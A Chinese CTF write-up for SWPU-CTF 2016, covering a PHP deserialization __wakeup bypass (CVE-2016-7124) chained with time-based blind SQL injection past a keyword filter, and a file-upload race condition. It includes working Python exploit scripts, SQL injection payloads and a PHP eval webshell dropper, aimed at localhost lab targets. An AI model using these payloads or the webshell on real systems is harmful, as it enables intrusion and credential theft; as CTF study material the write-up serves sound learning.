WEB200-2

这是swpu-ctf的一道题。

<?php
if(isset($_GET['user'])){
$login = @unserialize(base64_decode($_GET['user']));
if(!empty($login->pass)){
$status = $login->check_login();
if($status == 1){
$_SESSION['login'] = 1;
var_dump("login by cookie!!!");
}
}
} class login{
var $uid = 0;
var $name="";
var $pass=''; //检查用户是否已登录
public function check_login(){
mysql_connect('localhost','root','root') or die("connect error");
mysql_selectdb('skctf');
$sqls = "select * from admin where username='$this->name'";
$sqls = help::CheckSql($sqls);
$re = mysql_query($sqls);
$results = @mysql_fetch_array($re);
//echo $sqls . $results['password'];
mysql_close();
if (!empty($results))
{
if($results['password'] == $this->pass)
{ return 1;
}
else
{
echo '0';
return 0;
}
} }
//预防cookie某些破坏导致登陆失败
public function __destruct(){
$this->check_login();
}
//反序列化时检查数据
public function __wakeup(){
$this->name = help::addslashes_deep($this->name);
$this->pass = help::addslashes_deep($this->pass);
}
} class help {
static function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
}
else
{
$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
}
return $value;
}
}
static function remove_xss($string) {
$string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string); $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base'); $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster'); $parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile'); $parm = array_merge($parm1, $parm2, $parm3); for ($i = 0; $i < sizeof($parm); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($parm[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[x|X]0([9][a][b]);?)?';
$pattern .= '|(&#0([9][10][13]);?)?';
$pattern .= ')?';
}
$pattern .= $parm[$i][$j];
}
$pattern .= '/i';
$string = preg_replace($pattern, '****', $string);
}
return $string;
}
static function mystrip_tags($string)
{
$string = help::new_html_special_chars($string);
$string = help::remove_xss($string);
return $string;
}
static function new_html_special_chars($string) {
$string = str_replace(array('&', '"', '<', '>','&#'), array('&', '"', '<', '>','***'), $string);
return $string;
}
// 实体出库
static function htmlspecialchars_($value)
{
if (empty($value))
{
return $value;
}
else
{
if(is_array($value)){
foreach ($value as $k => $v) {
$value[$k] = self::htmlspecialchars_($v);
}
}else{
$value = htmlspecialchars($value);
}
return $value;
}
}
//sql 过滤
static function CheckSql($db_string,$querytype='select')
{
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
exit("Error");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
if (!empty($fail))
{
exit("Error" . $error);
}
else
{
return $db_string;
}
}
} ?>

从代码逻辑可以看到从Cookie里取user的值,然后base64_decode,然后反序列化到login这个类,反序列化之后先执行__wakeup(),然后执行__destruct()

其中在__wakeup()里可以看到几乎过滤了全部注入/XSS的关键词(用的是80sec的正则)。这里可以利用php5.6以下的版本是有一漏洞的,CVE-2016-7124

当序列化之后的字符串定义的的元素个数与实际个数不符合的时候(定义个数大于实际个数),__wakeup()将不会执行。__destruct()函数会调用check_login(),进入check_login函数。其中$name存在注入,也就是反序列化导致变量覆盖。但是$sqls = help::CheckSql($sqls);存在80sec的过滤。百度找了下payload:admin' and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`'`.``.username=1 or sleep(3)) #即可绕过。

将属性的数量改为5,即可绕过__wakeup()

写个脚本跑:

import requests
import time
#绕过80sec的payload
#select * from admin where username='admin' and (select 1 from admin where ascii(mid(password,1,1))=53) and (`'`.``.username=1 or sleep(3)) #'
def base64(s):
import base64
return base64.b64encode(s)
url = "http://127.0.0.1/ctf/test.php"
flag = ""
for i in range(1,40):
for j in range(33,125):
payload = "admin' and (select 1 from admin where ascii(mid(password,%d,1))=%d) and (`'`.``.username=1 or sleep(5)) #"% (i,j)
payload_len = len(payload)
serialize_str = '''O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}''' % (payload_len,payload)
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
'Cookie': 'user='+base64(serialize_str)
}
print payload
start = time.time()
requests.get(url,headers=headers)
end = time.time()
exec_time = end-start
if exec_time > 5:
flag += chr(j)
print i,flag
break

最终拿到密码:

写如下payload拿到flag:

文件上传时间竞争的例子:

源码:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="test.php" method="post" enctype="multipart/form-data">
选择文件:<input type="file" name="file">
<input type="submit" value="上传文件">
</form>>
</body>
</html> <?php $allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />"; if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个 1.php 文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["afanti"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的 php 文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个 shell。利用代码如下:

import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1/ctf/1.php"
self.uploadUrl = "http://127.0.0.1/ctf/test.php" def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0) def _upload(self):
print("upload file.....")
file = {"file":open("1.php","r")}
requests.post(self.uploadUrl, files=file) def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get() if __name__ == "__main__":
threads = 20 for i in range(threads):
t = RaceCondition()
t.start() for i in range(threads):
t.join()

多运行脚本几次,就会成功上传shell.

参考链接:

https://blog.l1n3.net/writeup/swpu_ctf_2016_writeup/

ctf经典好题复习的更多相关文章

  1. 经典算法题每日演练——第十七题 Dijkstra算法

    原文:经典算法题每日演练--第十七题 Dijkstra算法 或许在生活中,经常会碰到针对某一个问题,在众多的限制条件下,如何去寻找一个最优解?可能大家想到了很多诸如“线性规划”,“动态规划” 这些经典 ...

  2. 经典算法题每日演练——第十六题 Kruskal算法

    原文:经典算法题每日演练--第十六题 Kruskal算法 这篇我们看看第二种生成树的Kruskal算法,这个算法的魅力在于我们可以打一下算法和数据结构的组合拳,很有意思的. 一:思想 若存在M={0, ...

  3. 经典算法题每日演练——第十四题 Prim算法

    原文:经典算法题每日演练--第十四题 Prim算法 图论在数据结构中是非常有趣而复杂的,作为web码农的我,在实际开发中一直没有找到它的使用场景,不像树那样的频繁使用,不过还是准备 仔细的把图论全部过 ...

  4. 经典算法题每日演练——第十一题 Bitmap算法

    原文:经典算法题每日演练--第十一题 Bitmap算法 在所有具有性能优化的数据结构中,我想大家使用最多的就是hash表,是的,在具有定位查找上具有O(1)的常量时间,多么的简洁优美, 但是在特定的场 ...

  5. 经典算法题每日演练——第八题 AC自动机

    原文:经典算法题每日演练--第八题 AC自动机 上一篇我们说了单模式匹配算法KMP,现在我们有需求了,我要检查一篇文章中是否有某些敏感词,这其实就是多模式匹配的问题. 当然你也可以用KMP算法求出,那 ...

  6. 经典算法题每日演练——第六题 协同推荐SlopeOne 算法

    原文:经典算法题每日演练--第六题 协同推荐SlopeOne 算法 相信大家对如下的Category都很熟悉,很多网站都有类似如下的功能,“商品推荐”,"猜你喜欢“,在实体店中我们有导购来为 ...

  7. 经典算法题每日演练——第七题 KMP算法

    原文:经典算法题每日演练--第七题 KMP算法 在大学的时候,应该在数据结构里面都看过kmp算法吧,不知道有多少老师对该算法是一笔带过的,至少我们以前是的, 确实kmp算法还是有点饶人的,如果说红黑树 ...

  8. Noip前的大抱佛脚----Noip真题复习

    Noip前的大抱佛脚----Noip真题复习 Tags: Noip前的大抱佛脚 Noip2010 题目不难,但是三个半小时的话要写四道题还是需要码力,不过按照现在的实力应该不出意外可以AK的. 机器翻 ...

  9. [经典算法题]寻找数组中第K大的数的方法总结

    [经典算法题]寻找数组中第K大的数的方法总结 责任编辑:admin 日期:2012-11-26   字体:[大 中 小] 打印复制链接我要评论   今天看算法分析是,看到一个这样的问题,就是在一堆数据 ...

随机推荐

  1. golang广度优先算法-走迷宫

    广度优先遍历,走迷宫思路: 1.创建二维数组,0表示是路,1表示是墙:创建队列Q,存储可遍历的点,Q的第一个元素为起始点 2.从队列中取一个点,开始,按上.左.下.右的顺序遍历周围的点next,nex ...

  2. 用户登录注册(安全)(常规、FB、google、paypal) 实战

    /* 用户登录界面 */elseif ($action == 'login'){    if($_SESSION['user_id'])    {        ecs_header("Lo ...

  3. java自学之路-开篇

    开篇 想写一些java自学文章的心思起好久了,也在心里规划了一段时间,今天终于开始正式付于纸上.接下来要写的内容从java基础开始,一步步到正式工作用到的技术,整个体系适合java初学者自学.内容可能 ...

  4. Java异步转同步

    参考原文: <http://blog.csdn.net/veson__/article/details/53898890>

  5. Code Signal_练习题_Are Similar?

    Two arrays are called similar if one can be obtained from another by swapping at most one pair of el ...

  6. JavaWeb学习总结(五):HttpServletRespone对象(一)

    Web服务器收到客户端的http请求,会针对每一次请求,分别创建一个用于代表请求的request对象.和代表响应的response对象.request和response对象即然代表请求和响应,那我们要 ...

  7. ionCube 安装

    有些程序在php环境下运行需要安装ionCube Loader的扩展支持,得到如下提示 Site error: the ionCube PHP Loader needs to be installed ...

  8. template 的使用

    插件介绍:template 是一个高性能的JavaScript模板引擎. 插件特性: 1.性能卓越,执行速度快(mustache 与 tmpl 的20多倍): 2.支持运行时调试,可精准定位异常模板所 ...

  9. HTML中的嵌入技术

    到目前为止,您应该掌握了将图像\视频和音频嵌入到网页上的诀窍了.此刻,让我们进行深入学习,来看一些能让您在网页中嵌入各种内容类型的元素: <iframe>, <embed> 和 ...

  10. Java设计模式—状态模式

    状态模式又是一个比较难的设计模式 定义如下: 当一个对象内在状态改变时允许其改变行为,这个对象看起来像改变了其类. 个人理解:通俗的讲,状态模式就是状态的改变引起了行为的改变,但是,我们只能看到行为的 ...